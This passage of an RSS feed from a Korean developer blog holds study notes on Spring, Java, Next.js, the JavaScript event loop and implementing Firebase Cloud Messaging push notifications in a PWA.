<h3 id="빌드-툴">빌드 툴</h3>
<h4 id="webpack">webpack</h4>
<p>프론트엔드 프레임워크 내 불필요한 공백들을 생략하여, </p>
<h4 id="babel">babel</h4>
<ol>
<li>빌드 툴이 뭐가 있는지</li>
<li>과정 어떤 변화가 일어나는지</li>
</ol>
<h2 id="참고">참고</h2>
<ul>
<li><a href="https://velog.io/@woohm402/no-global-state-manager#prop-drilling-%EB%AC%B8%EC%A0%9C%EB%8A%94%EC%9A%94">전역 상태 관리를 사용하지 않는 7가지 이유</a></li>
<li><a href="https://tech.kakaopay.com/post/react-query-1/">카카오페이 프론트엔드 개발자들이 React Query를 선택한 이유</a></li>
<li><a href="https://inpa.tistory.com/entry/%F0%9F%93%9A-null-undefined-NaN">Inpa Dev 👨‍💻:티스토리</a></li>
<li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined">MDN-undefined</a></li>
<li><a href="https://d-sup.github.io/javascript/study/#%EC%BD%9C%EB%B0%B1-%ED%95%A8%EC%88%98">DongSup Ahn-Promise와 Callback의 차이는? &amp;&amp; async/await란?</a></li>
<li><a href="https://ko.javascript.info/localstorage">localStorage와 sessionStorage</a></li>
<li><a href="https://cjw-awdsd.tistory.com/48">JWT 저장소에 대한 고민(feat. XSS, CSRF)</a></li>
</ul>
<h2 id="흥미로운-글-추천">흥미로운 글 추천</h2>
<ul>
<li><a href="https://toss.tech/article/typescript-type-compatibility">TypeScript 타입 시스템 뜯어보기: 타입 호환성</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Spring2]]></title>
            <link>https://velog.io/@charming-l/Spring2</link>
            <guid>https://velog.io/@charming-l/Spring2</guid>
            <pubDate>Thu, 10 Oct 2024 08:14:56 GMT</pubDate>
            <description><![CDATA[<blockquote>
<h3 id="controller--service--respository"><code>Controller</code> / <code>Service</code> / <code>Respository</code></h3>
</blockquote>
<ul>
<li><code>Controller</code>: 유저와 개발자의 소통 공간, 뷰와 연결되는 곳</li>
<li><code>Service</code>: 개발자의 생각 공간, 로직 적는 곳</li>
<li><code>Repository</code>: 개발자와 data 와의 소통 공간</li>
</ul>
<h3 id="annotation">Annotation</h3>
<ul>
<li><p><code>@RequestMapping(value=&quot;/java&quot;, method = RequestMethod.GET)</code>
== <code>@GetMapping(&quot;/java&quot;)</code>   // 나머지 메서드 모두 마찬가지 <code>PostMapping</code>, ...</p>
</li>
<li><p><code>@ResponseBody</code> : 리턴하는 텍스트를 화면에 렌더링
<code>Controller</code> +<code>@ResponseBody</code> = <code>@RestController</code></p>
</li>
<li><p><code>@PathVariable</code> </p>
<pre><code class="language-java">// 스토어 Id
  @GetMapping(&quot;/{id}&quot;) // 아래 인자에 들어간 변수명과 일치해야함
  public Store getStoreById(@PathVariable int id) {
      ...
  }</code></pre>
</li>
<li><p><code>@ResponseStatus(HttpStatus.CREATED)</code></p>
</li>
</ul>
<h3 id="record--stream">Record &amp; Stream</h3>
<h4 id="record">Record</h4>
<ul>
<li>모든 필드가 <code>private final</code>이고 <code>getter</code>가 있으면 클래스를 <code>record</code> 타입으로 변경 가능<pre><code class="language-js">record 클래스명(...fileds) 생성자</code></pre>
<h4 id="stream">Stream</h4>
</li>
<li><code>stream()</code> 배열을 흘러가는 형태로 바꿔주는 처리 도구
기존에 for문을 통해 처리하던 작업들의 가독성을 높일 수는 있지만 하지만 성능은 더 나쁘다.
반환타입은 <code>Stream</code><pre><code class="language-java">// id에 따라 stores 리스트에서 Store 객체를 반환하는 메서드 예제
Optional&lt;Store&gt; first = Utils.stores.stream().filter(el-&gt;el.getId() == id).findFirst();</code></pre>
</li>
</ul>
<h3 id="restful-api">RESTful API</h3>
<p>리소스(resource)를 꺼내주는데에 목적을 둔 api</p>
<ul>
<li><p>endpoint</p>
</li>
<li><p>method </p>
<ul>
<li><code>GET</code> </li>
<li><code>POST</code></li>
<li><code>PUT</code>(POST 기반)        body O</li>
<li><code>DELETE</code>(GET 기반)    body X</li>
<li>[PATCH] 전에 있는 놈을 변경</li>
</ul>
<p><br/><br/></p>
<table>
<tr><td>전체 스토어를 가져온다</td><td>`GET /stores`</td></tr>
  <tr><td>스토어 추가한다</td><td>`POST /stores`</td></tr>
  <tr><td>스토어 안에 id=1 를 가져온다 </td><td>  `GET /stores/1`</td></tr>
  <tr><td>스토어 안에 이름이 커피가 들어간 친구들 뽑아온다</td><td>`GET /stores?name=커피&opentime=10`</td></tr>
  <tr><td>1번 스토어 이름을 커피로 바꾸고 싶다</td><td>`PUT /stores/1`</td></tr>
<tr><td>스토어 1번을 지운다</td><td>`DELETE /stores/1`</td></tr>
</table>


</li>
</ul>
<blockquote>
<h4 id="정리">정리</h4>
</blockquote>
<ol>
<li>URL 복수형만 사용 (<code>/store</code> x)</li>
<li>명사만 사용 (<code>/stores/create</code> x)</li>
<li>소문자로 작성 (<code>/storesCreate</code> -&gt; <code>/store-create</code>)</li>
<li>언더바(_) 말고 하이픈(-)으로 작성 (<code>/store_create</code> -&gt; <code>/store-create</code>)</li>
</ol>
<h3 id="status-code">status code</h3>
<ul>
<li>100 ~ 200 socket</li>
<li>200 ~ 300 http 통신(성공)</li>
<li>300 ~ 400 html을 사용할 때 (Found, Redirect)</li>
<li>400 ~ 500 클라이언트 실수 (404 Not found, 401 Unauthorization)</li>
<li>500 ~ 600 서버측 실수 (500 Internal server error)</li>
</ul>
<h3 id="자잘한-팁">자잘한 팁</h3>
<ul>
<li>클래스 필드에 대한 변경점은 많은 곳에서 열리는 것을 최대한 지양하도록 한다.<ul>
<li><code>private</code> 필드로 선언되었으나, 이곳저곳에서 변경되어야 한다면 
<code>public</code>으로 변경 혹은 클래스 내부에서 제한된 조건으로 변경될 수 있도록 변경한다.</li>
<li>변경될 일이 없는 필드는 <code>final</code>로 픽스하는게 좋다.</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Spring 1]]></title>
            <link>https://velog.io/@charming-l/Spring-1</link>
            <guid>https://velog.io/@charming-l/Spring-1</guid>
            <pubDate>Tue, 08 Oct 2024 09:11:32 GMT</pubDate>
            <description><![CDATA[<p>드디어 spring 학습 1일차!
두근두근한 마음으로 시작!</p>
<h2 id="들어가기에-앞서">들어가기에 앞서</h2>
<ul>
<li><code>build.gradle</code> === React의 <code>package.json</code></li>
<li>Web Server: 내 컴퓨터에 http 통신 접근 할 수 잇게 도와주는 것</li>
<li>Web Application Server(WAS): 내 컴퓨터에 http 통신 접근 할 수 있게 해주고, 코드를 돌리는 것
like tomcat, node.js</li>
<li>Server Side Rendering(SSR): 서버를 거쳐서 html을 얻어오는 것</li>
<li>Client Side Rendering(CSR): 클라이언트의 JS를 거쳐서 html을 얻어오는 것</li>
</ul>
<br/>

<h3 id="spring-framework-vs-spring-boot">Spring framework vs Spring boot</h3>
<h4 id="차이점">차이점</h4>
<ul>
<li>Spring Framework는 main이 존재하지 않는다. 즉 Spring framework web을 만들면 tomcat을 실행한다.</li>
<li>Spring boot는 main이 존재한다. 즉 Java를 실행해 서버를 연다.</li>
<li>이 외에도 Spring Framework는 xml 파일내 다뤄야하는게 많아 귀찮다. 주로 Spring Framework는 요즘 거의 안 쓰는 편이다.</li>
</ul>
<h2 id="spring">Spring</h2>
<h3 id="spring-구성요소-3가지">Spring 구성요소 3가지</h3>
<ul>
<li>Portable Service Abstraction(<strong>PSA</strong>) 서비스 추상화</li>
<li>Dependency Injection(<strong>DI</strong>) 의존성 주입,
Inversion of Control(<strong>IoC</strong>) 제어의 역전</li>
<li>Aspect Oriented Programming(<strong>AOP</strong>) 관점지향</li>
</ul>
<hr>
<h3 id="bean">Bean</h3>
<ul>
<li><code>bean</code> 은 Spring 내부에서 관리하는 static 영역</li>
<li><code>IoC(Spring bean) container</code>: bean들을 모아놓은 곳</li>
<li><strong>DI 의존성 주입</strong>이란 bean을 꺼내 쓰는 것을 말함</li>
<li>이름 -&gt; 타입 순으로 일치하는 bean을 가져온다.<pre><code class="language-java">// e.g. bean 선언 예시
public class DemoApplication {
  @Bean
  public String test2(){
      return &quot;asdf&quot;;
  }
  @Bean
  public Student student(){
      return new Student();
  }
  ...
}</code></pre>
</li>
</ul>
<h4 id="-component">+) @Component</h4>
<ul>
<li><code>component</code>는 <code>bean</code>과 같은 일반적인 객체가 아닌 클래스 자체를 외부에서 쓰고자 할 때 사용</li>
</ul>
<h4 id="-ioc-container-접근-방식">+) Ioc Container 접근 방식</h4>
<ol>
<li><p><code>@Autowired</code> 어노테이션을 활용하는 방식</p>
</li>
<li><p>Controller의 생성자의 인자로 삽입
Controller의 생성자 인자에는 자동으로 <code>IoC Container</code>를 넘겨주기 때문에 별도의 <code>@Autowired</code> 사용 없이 가져다가 사용할 수 있다. </p>
<pre><code class="language-java">@Controller
public class TestController {
 // @Autowired를 활용한 IoC 접근 방식 
 @Autowired
 String test;
 @Autowired
 Student student;
 @Autowired
 Data data;

 // 생성자를 활용한 IoC 접근방식
 public TestController(String test, Student student, Data data){
     this.test = test;
     this.student = student;
     this.data = data;
 }
}</code></pre>
</li>
</ol>
<h3 id="annotation">Annotation</h3>
<ul>
<li><code>@Controller</code> : url 매핑 및 처리로직 메서드 필드를 가지는 클래스에 선언</li>
<li><code>@RequestMapping</code> : url 매핑 메서드에 선언</li>
<li><code>@Bean</code> : 타 클래스에서 쓰일 데이터에 선언(함수 형태)</li>
<li><code>@Autowired</code> : Bean에서 쓰고 싶은 데이터를 꺼낼 때 선언</li>
<li><code>@RequestParam</code> : request body 접근시 사용</li>
</ul>
<br />

<h3 id="💻-실습">💻 실습</h3>
<h4 id="url-매핑">URL 매핑</h4>
<ul>
<li><p><code>@RequestMapping</code> 을 활용해 url 정보와 사용자 접근 메서드 정보를 넘긴다.</p>
</li>
<li><p><code>template/</code> 하위에 존재하는 html 파일을 연결해 렌더링한다.</p>
<pre><code class="language-java">@Controller
public class TestController {
...
@RequestMapping(value = &quot;/java&quot;, method = RequestMethod.GET)
public String java(){
  return &quot;java&quot;;
}

@RequestMapping(value=&quot;/test&quot;, method = RequestMethod.GET)
public String test(){
  return &quot;test&quot;;
}
}</code></pre>
</li>
</ul>
<h4 id="post-요청-처리">Post 요청 처리</h4>
<p><code>String name</code>, <code>int age</code> 속성을 가지는 Student 객체 추가 예제</p>
<ol>
<li><code>HttpServeletRequest.getParameter()</code> 활용<pre><code class="language-java">// ./TestController.java
@Controller
public class TestController {
...
@RequestMapping(value=&quot;/&quot;, method=RequestMethod.POST)
   public String postStudent(HttpServletRequest request){
       String name = request.getParameter(&quot;name&quot;);
       int age = Integer.parseInt(request.getParameter(&quot;age&quot;));
       Student student = new Student(name, age);
       data.list.add(student);
       return &quot;redirect:/&quot;;    // &#39;/&#39;으로 리다이렉트
   }
}</code></pre>
</li>
</ol>
<p>2.<code>@RequestParam</code> 활용(추상화)</p>
<pre><code class="language-java">@Controller
public class TestController {
  ...
  @RequestMapping(value=&quot;/&quot;, method=RequestMethod.POST)
  public String postStudent(HttpServletRequest request, @RequestParam String name, @RequestParam Integer age){
          Student student = new Student(name, age);
          data.list.add(student);
          return &quot;redirect:/&quot;;
      }
}</code></pre>
<hr>
<h3 id="mvc">MVC</h3>
<ul>
<li>Model, View, Controller</li>
<li>요즘엔 성능이 좋은 React 덕에 MVC 패턴으로 짜지 않음</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Java 속성 정리1]]></title>
            <link>https://velog.io/@charming-l/Java-%EC%86%8D%EC%84%B1-%EC%A0%95%EB%A6%AC1</link>
            <guid>https://velog.io/@charming-l/Java-%EC%86%8D%EC%84%B1-%EC%A0%95%EB%A6%AC1</guid>
            <pubDate>Sun, 29 Sep 2024 21:58:17 GMT</pubDate>
            <description><![CDATA[<p>급하디 급하게 자바 5일 만에 나가기,,,레츠고</p>
<h4 id="정리">정리</h4>
<ul>
<li>원시형 타입을 제외한 모든 클래스들을 <code>참조형</code>이라고 부른다.</li>
<li>클래스가 가지고 있는 변수들은 <code>필드</code>, 함수는 <code>메서드</code>라고 부른다.</li>
<li><code>Overloading</code>: 이름은 같지만 args를 다르게 하여 재사용성을 높이는 것</li>
<li><code>Overriding</code>: 이미 기존에 내장된 메서드의 내용을 바꾸는 것</li>
<li>현재 필드, 메서드, 클래스가 최종 상태임을 알리는 키워드 <code>final</code><ul>
<li>필드는 더 이상 수정이 안됨 like 상수</li>
<li>메서드는 하위로 overriding 될 수 없음</li>
<li>클래스는 상속될 수 없음</li>
</ul>
</li>
<li>접근제어자<ul>
<li><code>public</code> 다 가능</li>
<li><code>protected</code> 패키지 다르면 x</li>
<li><code>(default)</code> 패키지 다르면 x</li>
<li><code>private</code> 나 아니면 x<br/></li>
</ul>
</li>
<li><code>abstract class</code>와 <code>interface</code> <br/>
<table  style="text-align:center">
<thead>
  <tr>
    <th>속성</th>
    <th>abstract class</th>
    <th>interface</th>
  </tr>
</thead>
<tbody>
  <tr style="border-bottom:2px solid lightgray">
    <td>공통점</td>
    <td colspan="2">구현체 없는 메서드를 포함,<br />직접 인스턴스 생성 불가 (자식에게 상속 필수)</td>
  </tr>
  <tr style="border-bottom:2px solid lightgray">
    <td>상속 키워드</td>
    <td>extends</td>
    <td>implements</td>
  </tr>
  <tr style="border-bottom:2px solid lightgray">
    <td>필드</td>
    <td>상수, 변수 모두 가능</td>
    <td>상수만 가능(public static final)</td>
  </tr>
  <tr>
    <td>메서드</td>
    <td>추상 메서드<span style="font-weight:700">도</span> 가능</td>
    <td>추상 메서드<span style="font-weight:700">만</span> 가능</td>
  </tr>
</tbody>
</table>


</li>
</ul>
  <br/>
  <br/>

<h4 id="많이-사용되는-단축어">많이 사용되는 단축어</h4>
<pre><code class="language-java">  // 출력 관련
  System.out.println() // sout
  System.out.printf() // souf
  // main 클래스 생성 
  public static void main(String[] args) {} // psvm</code></pre>
<h4 id="메서드-선언-방식">메서드 선언 방식</h4>
<pre><code class="language-javascript">    접근제어자 리턴타입 메서드명(){}</code></pre>
<h4 id="상속">상속</h4>
<pre><code class="language-java">// extends를 통한 상속
public class Cat extends Animal{
    public Cat(String name, int age) {
        // 부모 필드를 본인의 필드로 상속 super 
        super(name, age);
    }

    @Override
    public void sound() {
        System.out.println(&quot;야옹&quot;);
    }
}</code></pre>
<h4 id="그-외">그 외</h4>
<ul>
<li><code>abstract</code>과 <code>interface</code> 같은 경우, 코드의 표준화 정도를 높이며 유지보수에 용이할 수는 있지만, 너무 타이트하기 때문에 실무에서는 지양한다고 하기도 함.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Next.js 개념 익히기 01]]></title>
            <link>https://velog.io/@charming-l/Next.js-%EA%B0%9C%EB%85%90-%EC%9D%B5%ED%9E%88%EA%B8%B0-01</link>
            <guid>https://velog.io/@charming-l/Next.js-%EA%B0%9C%EB%85%90-%EC%9D%B5%ED%9E%88%EA%B8%B0-01</guid>
            <pubDate>Wed, 17 Jul 2024 01:20:53 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/1fd34d8a-831e-473c-8579-3b67acee4889/image.png" alt=""></p>
<p>Udemy - Next.js 14 &amp; React - The Complete Guide Section #1, #3 수강내용과 덧붙이기</p>
<h2 id="기본-폴더구조-page-router">기본 폴더구조 (Page Router)</h2>
<p><code>/app</code> 내에 존재하는 폴더 이름은 곧 라우팅 경로와 직결된다.
폴더 하위에는 다음과 같은 예약 파일명들이 존재한다.</p>
<ul>
<li><code>page.js</code> : 렌더링할 페이지 콘텐츠 파일</li>
<li><code>layout.js</code> : 페이지들을 감싸고 있는 Wrapper layout</li>
<li><code>not-found.js</code> : <code>Not Found</code>에러의  fallback 페이지 </li>
<li><code>error.js</code> : 모든 에러의 fallback 페이지</li>
<li><code>loading.js</code> : 로딩 화면<ul>
<li>... 이후에 더 배울 예정</li>
</ul>
</li>
</ul>
<h2 id="react와의-차이점">React와의 차이점</h2>
<p><code>React.js</code>는 단일 페이지 내에 js를 통해 클라이언트쪽에서 화면을 동적으로 그려내었다(<strong>CSR</strong>, Client Side Rendering). 
<code>Next.js</code>는 서버에서 화면을 그려내어 html 파일 형태로 클라이언트 쪽에 보낸다.
이후 클라이언트 쪽에서는 받은 html을 js로 취급해 화면을 업데이트 한다(<strong>SSR</strong>, Server Side Rendering). </p>
<br>

<table align=center>
  <caption>웹 브라우저에서 소스탭을 통해 확인한 index.html 파일</caption>
  <tr><td> <img src=https://velog.velcdn.com/images/charming-l/post/ae0a7496-5845-428d-ba3b-3532fc9e4dcc/image.png /></td><td><img src=https://velog.velcdn.com/images/charming-l/post/2a4fee32-027e-4f85-92b4-97904c75d42c/image.png>
</td></tr>
  <tr><td>React 프로젝트<br>화면에 그려지는 콘텐츠의 내용이 보이지 않는다</td><td>Next 프로젝트<br>화면에 그려지는 모든 콘텐츠의 내용이 보여진다(&lt;main&gt;,&lt;h1&gt;) </td></tr>
</table>

<p>그렇다면 이로써 얻게 되는 이점은 무엇인가?</p>
<p>기존의 React는 서버로부터 빈 화면을 가져와 화면을 동적으로 꾸며내었기에, 검색엔진에는 콘텐츠의 내용이 잡히질 않아 SEO측면에서 매우 불리하게 작용되었다. 하지만, Next의 등장으로 서버로부터 스타일링이 완성된 html를 가져올 수 있게 되면서 크롤러가 쉽게 문서의 내용을 파악할 수 있게 되었다. </p>
<p>Next는 기본적으로 <strong>서버 기반 컴포넌트(RSC, React Server Component</strong>)가 디폴트라,
이벤트 처리, client state 관리와 같은 client side 기능들은 page.js 파일 상단에
<code>&#39;use client&#39;</code>를 따로 명시하여 서버가 아닌 브라우저에서 실행될 수 있도록 해주어야한다.
<br></p>
<table align=center>
  <caption>Server vs. Client Components - 
Next.js 14 & React - The Complete Guide
</caption>
  <thead>
    <tr style="background-color: green; color: white;">
      <td>React Server Components (RSC)</td>
      <td>Client Component</td></tr>
    <thead>
  <tr>
    <td>컴포넌트가 서버에서만 생성이 된다.</td>
    <td>서버에서 먼저 렌더링되지만<br>이후 잠재적으로 클라이언트 쪽에 존재한다.</td>
  </tr>
  <tr>
    <td>Next app에서 기본이 되는 컴포넌트 생성 방식.</td>
    <td>Next app에서 별도의 키워드를 통해 직접 명시.<br> > `use client` </td>
  </tr>
  <tr>
    <td>클라이언트쪽 JS의 양이 감소하며<br>SEO에 최적화</td>
    <td>클라이언트 반응성에 유리<br>  </td>
  </tr>
</table>
]]></description>
        </item>
        <item>
            <title><![CDATA[JS와 싱글쓰레드, 동시성]]></title>
            <link>https://velog.io/@charming-l/asdf-nz5w7n4e</link>
            <guid>https://velog.io/@charming-l/asdf-nz5w7n4e</guid>
            <pubDate>Wed, 10 Jul 2024 08:22:27 GMT</pubDate>
            <description><![CDATA[<ul>
<li>동시성과 블로킹</li>
<li>Thread</li>
<li>싱글 쓰레드의 JS의 동작방식</li>
</ul>
<p>JS를 다루다 보면 동시성, 블로킹 쓰레드, ...와 같은 개념들이 등장하고는 한다.
추상적으로는 알겠으나, 구체적으로 설명하기 힘들 걸 보면 모르는 것으로 판단! 한번 정리해보려고 한다.
우선 각각의 단어를 확실하게 정의해보자.</p>
<blockquote>
<h3 id="동시성">동시성</h3>
<p>동시성은 주로 병렬성과 함께 언급이 되는데, 
여러 작업이 실제로 동시에 수행이 되냐 마냐의 차이를 가진다.</p>
</blockquote>
<p><strong><code>동시성</code></strong> &gt;&gt; 여러 개의 작업이 <strong>동시에 수행되는 것처럼 보이는 것</strong> (실제론 매우 빠르게 번갈아 수행중)
<strong><code>병렬성</code></strong> &gt;&gt; 실제로 한번에 여러개의 작업이 <strong>동시에 수행되는 것</strong></p>
<blockquote>
<h3 id="블로킹-blocking">블로킹 (Blocking)</h3>
<p>블로킹&lt;-&gt;논블로킹 은 다른 작업 시작시, 본인의 작업을 계속 수행할 수 있냐 없냐의 차이를 가진다.
&quot;제어권&quot;이라는 단어를 통해 이들을 설명하기도 하는데, 제어권이란 기존에 수행하던 작업에 대한 지속 수행 여부를 결정하는</p>
<p><strong><code>블로킹</code></strong> &gt;&gt; 다른 작업을 시키게 되면 본인이 <strong>기존에 하던 작업을 모두 멈추고</strong>, 다른 작업이 수행된 후에 자신의 작업을 이어가는 방식 (제어권 X - 양도)
<strong><code>논블로킹</code></strong> &gt;&gt; 다른 작업을 시킨 후, <strong>바로 본인의 작업 진행</strong> (제어권 O)</p>
</blockquote>
<blockquote>
<h3 id="쓰레드-thread">쓰레드 (Thread)</h3>
<p>OS로터 자원을 할당받아 일을 수행하는 단위가 바로 <strong>프로세스</strong>이다.
각각의 프로세스는 Code / Data / Stack / Heap을 개별적으로 갖고, 일을 수행하게 된다.
<img src="https://velog.velcdn.com/images/charming-l/post/7f4ee319-2f84-46b4-aa12-360c3d9c7a86/image.png" alt=""></p>
</blockquote>
<blockquote>
<p>하나의 프로세스 안에서도 Code / Data / Heap 영역은 공유한 채로 더욱 많은 일들을 처리할 수 있는데,
이때 각각의 실행흐름을 바로 쓰레드라고 부른다. 싱글 쓰레드는 단일 실행흐름만을 가질 수 있으며, 멀티 쓰레드는 아래 그림과 같이 자원을 공유하여 여러 개의 일처리를 할 수 있는 환경을 말한다.
<img src="https://velog.velcdn.com/images/charming-l/post/adde7799-a8c7-4d53-8128-809ee74f61f7/image.png" alt=""></p>
</blockquote>
<br>
<br>

<p>자 그럼<br>JS는 <strong>싱글 쓰레드</strong>언어이다.
= 한번에 하나의 작업만 가능하다
= 하던 작업을 마무리하기 전까지 다른 작업을 수행할 수 없다 </p>
<p>하지만 나는
데이터를 받아오는 일을 시키면서 로딩 페이지를 띄워 보기도 했고,
다른 작업중에도 지속적으로 타이머를 동작시켜본 경험이 있다. ??
<br ></p>
<p>구체적으로  이해하기 위해서는 JS의 동작 방식에 대한 이해가 필요하다. </p>
<h2 id="js의-비동기함수-동작원리">JS의 비동기함수 동작원리</h2>
<p><small>아래의 모든 움짤 출처 <a href="https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif">✨♻️ JavaScript Visualized: Event Loop</a> </small></p>
<blockquote>
<h3 id="call-stack">Call Stack</h3>
<p>스택 구조로 구성되어 호출된 함수들이 쌓이고 LIFO(Last In First Out, 후입 선출) 방식으로 <strong>코드들이 수행되는 공간</strong>
<img src=https://velog.velcdn.com/images/charming-l/post/33aaffe4-94fb-4c11-bc20-bac261452786/image.gif /></p>
</blockquote>
<blockquote>
<h3 id="web-api">Web API</h3>
<p>웹 브라우저에서 제공하는 기능으로, <strong>JS 대신 비동기 작업을 담당</strong>해준다. 
<img src="https://velog.velcdn.com/images/charming-l/post/713df0c8-90ab-41dc-a6ff-fca0239fef8c/image.gif" alt=""></p>
</blockquote>
<blockquote>
<h3 id="task--callback-queue">(Task || Callback) Queue</h3>
<p>Web api를 통해 실행된 함수들이 <strong>Call Stack으로 옮겨가기 전에 순차적으로 쌓여있는 공간</strong> 
<img src="https://velog.velcdn.com/images/charming-l/post/90ff05ed-cac2-4d10-ac9a-3680fc5422e1/image.gif" alt=""></p>
</blockquote>
<blockquote>
<h3 id="event-loop">Event Loop</h3>
<p>이벤트 핸들러 함수들을 관리하고, <strong>Task Queue에 있는 콜백함수들을 Call Stack에 옮겨주는 작업을 담당</strong>
이때 Event Loop는 <strong>Call Stack이 비어있음을 확인</strong>하고 콜백함수들을 옮겨준다.
<img src="https://velog.velcdn.com/images/charming-l/post/5ce0cd6f-f550-4674-b2a2-aa85da7dbc68/image.gif" alt=""></p>
</blockquote>
<blockquote>
<p>간단히 이야기하자면, JS는 주로 Web browser 위에서 구동이 되는데, 
데이터 요청하기, 타이머 구동하기와 같은 비동기 함수들은 모두 Web browser에서 제공하는 Web API에게 넘겨버리고 본인의 일을 수행한다.
마치 백그라운드에서 돌아가는 것과 유사한데, 이 때문에 싱글 쓰레드이지만 한번에 여러가지 일을 수행하는 것처럼 보이는, 동시성을 갖게 되는 것이다. </p>
</blockquote>
<br>



<h2 id="참고">참고</h2>
<ul>
<li><a href="https://velog.io/@maketheworldwise/SyncAsync-BlockingNon-Blocking-%EB%AC%B4%EC%8A%A8-%EC%B0%A8%EC%9D%B4%EC%9D%BC%EA%B9%8C">Sync/Async, Blocking/Non-Blocking 무슨 차이일까?</a></li>
<li><a href="https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif">JavaScript Visualized: Event Loop</a> 강추!!!</li>
<li><a href="https://medium.com/@vdongbin/javascript-%EC%9E%91%EB%8F%99%EC%9B%90%EB%A6%AC-single-thread-event-loop-asynchronous-e47e07b24d1c">Javascript 동작원리 (Single thread, Event loop, Asynchronous)</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[PWA에 FCM 활용 모험기]]></title>
            <link>https://velog.io/@charming-l/PWA-FCM</link>
            <guid>https://velog.io/@charming-l/PWA-FCM</guid>
            <pubDate>Mon, 27 May 2024 21:14:45 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/charming-l/post/9fe3b1c7-4af1-4f0b-a91d-54f3ed898ffc/image.png" alt=""></p>
<p>PWA 앱에 Firebase Cloud Message(FCM)을 활용하여 push notification을 구현하고자 했다. </p>
<blockquote>
<p>FCM은 다음과 같이 동작한다.
&gt; <strong>클라이언트</strong>, firebase로부터 vapid key를 통해 토큰 발급 (for기기 식별)
&gt; <strong>서버</strong>, 토큰 저장
&gt; <strong>서버</strong>, 알림을 보내야할 때 firebase로 토큰 정보와 내용을 함께 전송
&gt; <strong>FCM</strong>, 받은 토큰의 유저에게 해당 내용을 전송</p>
</blockquote>
<p>이를 구현하면서 겪은 우당탕 이슈들이다.</p>
<p>일단 내 환경은 PWA를 위한 서비스 워커 설정 파일인 <code>public/pwabuilder-sw.js</code> 와 내 firebase configuration 정보와 messaging 객체가 담겨있는 <code>public/firebase-messaging-sw.js</code> 두개의 파일이 존재하고, <code>public/index.html</code>에 <code>pwabuilder-sw.js</code>를 아래와 같이 register 해두었다.</p>
<pre><code class="language-ㅓㄴ">// public/index.html
...
&lt;script&gt;
    (async function () {
        if (&quot;serviceWorker&quot; in navigator) {
            let registration = await navigator.serviceWorker.getRegistration();
            if (!registration) {
                registration = await navigator.serviceWorker
                    .register(&quot;./pwabuilder-sw.js&quot;)
            }
       }
    })();
&lt;/script&gt;</code></pre>
<h1 id="1️⃣-알림-허가는-최초-한번만">1️⃣ 알림 허가는 최초 한번만</h1>
<p>브라우저에서 제공하는 알림 허가 모달은 사용자 경험을 해치지 않도록 최초 한번만 제공된다고 한다 (처음에 다시 안 뜨는 이유가 내 코드 때문인줄 알고 헤맸었다) <a href="https://stackoverflow.com/questions/31133781/resetting-denied-html-notifications">Stackoverflow</a>
<img src="https://velog.velcdn.com/images/charming-l/post/1fd08fb3-d595-474a-b309-1af9ff92ed96/image.png" alt=""></p>
<h1 id="2️⃣-public내에선-env-변수-접근-불가">2️⃣ public내에선 env 변수 접근 불가</h1>
<pre><code class="language-ts">// public/firebase-messaging-sw.js
const app = firebase.initializeApp({
   apiKey: process.env.REACT_APP_FIREBASE_API_KEY,
   authDomain: process.env.REACT_APP_FIREBASE_AUTH_DOMAIN,
   projectId: process.env.REACT_APP_PROJECT_ID,
   storageBucket: process.env.REACT_APP_STORAGE_BUCKET,
   messagingSenderId: process.env.REACT_APP_FIREBASE_MESSAGING_SENDER_ID,
   appId: process.env.REACT_APP_FIREBASE_APP_ID,
   measurementId: process.env.REACT_APP_FIREBASE_MEASUREMENT_ID,
});</code></pre>
<p>fcm을 위해 반드시 <code>/public</code>에 <code>firebase-messaging-sw.js</code>라는 파일을 두고, firebase app을 초기화해야했다. 
그리고 그 과정 속에서 내 firebase configuration들이 그대로 노출될 수 밖에 없는데, 이런 정보들은 당연히 감추어야한다는 생각에 무작정 <code>.env</code>에 두고 꺼내 쓰려했다.</p>
<p><img src="https://velog.velcdn.com/images/charming-l/post/711addb6-4ea6-4b0d-b2af-c281bb359932/image.png" alt=""></p>
<p><strong>_<code>/public</code>에서는 <code>.env</code> 파일을 읽을 수가 없다. _</strong></p>
<p>그래서 FCM에 꼭 필요한 정보인 apiKey, projectId, messagingSenderId, appId만 담아서 올리기로 했다. </p>
<pre><code class="language-ts">// public/firebase-messaging-sw.js
const app = firebase.initializeApp({
  apiKey: &quot;xxxx&quot;,
  projectId: &quot;xxxx&quot;,
  messagingSenderId: xxxx,
  appId: &quot;xxxx&quot;,
});</code></pre>
<h1 id="3️⃣-no-active-service-worker">3️⃣ no active Service Worker</h1>
<p><strong>문제 현상</strong></p>
<ul>
<li>처음 <code>getToken()</code> 호출시 아래와 같은 에러 발생.</li>
<li>두번째 <code>getToken()</code> 호출시 토큰이 받아와짐
<img src="https://velog.velcdn.com/images/charming-l/post/0c5dae85-e156-459a-9907-d72eed0662ed/image.png" alt=""></li>
</ul>
<br />

<p>나와 비슷한 이슈를 겪은 사람이 꽤 있었는데, <a href="https://github.com/firebase/firebase-js-sdk/issues/7693">issue#7693</a>
선배님들께서는 이렇게 해결하셨다고 한다.</p>
<ul>
<li>그냥 getToken을 두번 호출한다</li>
<li>serviceWorker의 상태를 분리하여 &quot;활성화&quot; 상태일 경우에만 <code>getToken()</code>을 실행한다</li>
</ul>
<p><strong>첫번째 방법</strong>은 약간의 편법인 느낌이었고, 
<strong>두번째 방법</strong>은 내 코드에서는 service worker가 늦게 활성화되는 것이 문제가 아니라 그냥 아예 활성화 될 생각이 없어보이고(?) <code>getToken()</code>을 실행해야 찔려서 설치-활성화되는 느낌이라 <code>getToken()</code>을 실행하기 전에 service worker 상태에 따라 분리하게 되면 영영 <code>getToken()</code>이 실행되지 않는게 문제였다. <del>(이게 진짜 문제는 아닐 수 있지만 어쨌든 제대로 동작하지 않았다)</del></p>
<br />

<p>다른 방법이 있겠지하며 분석해보기 시작!
